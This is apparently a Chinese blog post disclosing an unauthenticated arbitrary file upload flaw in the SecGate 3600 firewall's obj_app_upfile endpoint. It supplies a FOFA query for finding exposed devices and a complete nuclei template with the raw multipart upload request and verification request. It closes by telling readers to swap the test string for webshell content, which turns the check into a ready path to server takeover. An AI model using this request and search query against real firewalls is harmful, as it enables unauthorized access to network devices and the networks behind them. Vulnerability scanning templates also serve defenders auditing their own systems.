网神SecGate3600防火墙obj_app_upfile 接口存在任意文件上传漏洞

fofa语句:

title="网神SecGate 3600防火墙"

nuclei脚本:

id: wangshen-secgate-objappupfile-fileupload

info:
  name: wangshen-secgate-objappupfile-fileupload
  author: yy
  severity: high
  description:  网神 SecGate 3600 防火墙  obj_app_upfile 接口存在任意文件上传漏洞,未经授权的攻击者通过漏洞可以上传任意文件,获取服务器权限。
  tags: wangshen,fileupload
  metadata:
    fofa-qeury: fid="1Lh1LHi6yfkhiO83I59AYg=="
    veified: true
    max-request: 2

http:
  - raw:
      - |              
        POST /?g=obj_app_upfile HTTP/1.1
        Host: 
        Accept-Encoding: gzip, deflate
        Content-Length: 553
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
        User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="MAX_FILE_SIZE"

        10000000
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="upfile"; filename="{{txt}}.txt"
        Content-Type: text/plain

        2317852

        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="submit_post"

        obj_app_upfile
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="__hash__"

        0b9d6b1ab7479ab69d9f71b05e0e9445
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc--
      - |              
        GET /attachements/{{txt}}.txt HTTP/1.1
        Host: 
        User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)    
        
    payloads:
      txt:
        - "hellowangshen"
        
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          
      - type: word
        words:
          - text/plain
        condition: and
        part: header
        
      - type: word
        words:
          - 2317852
        condition: and
        part: body

可将上传内容2317852替换为shell的内容。

欢迎关注公众号

网神SecGate3600防火墙obj_app_upfile 接口存在任意文件上传漏洞

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值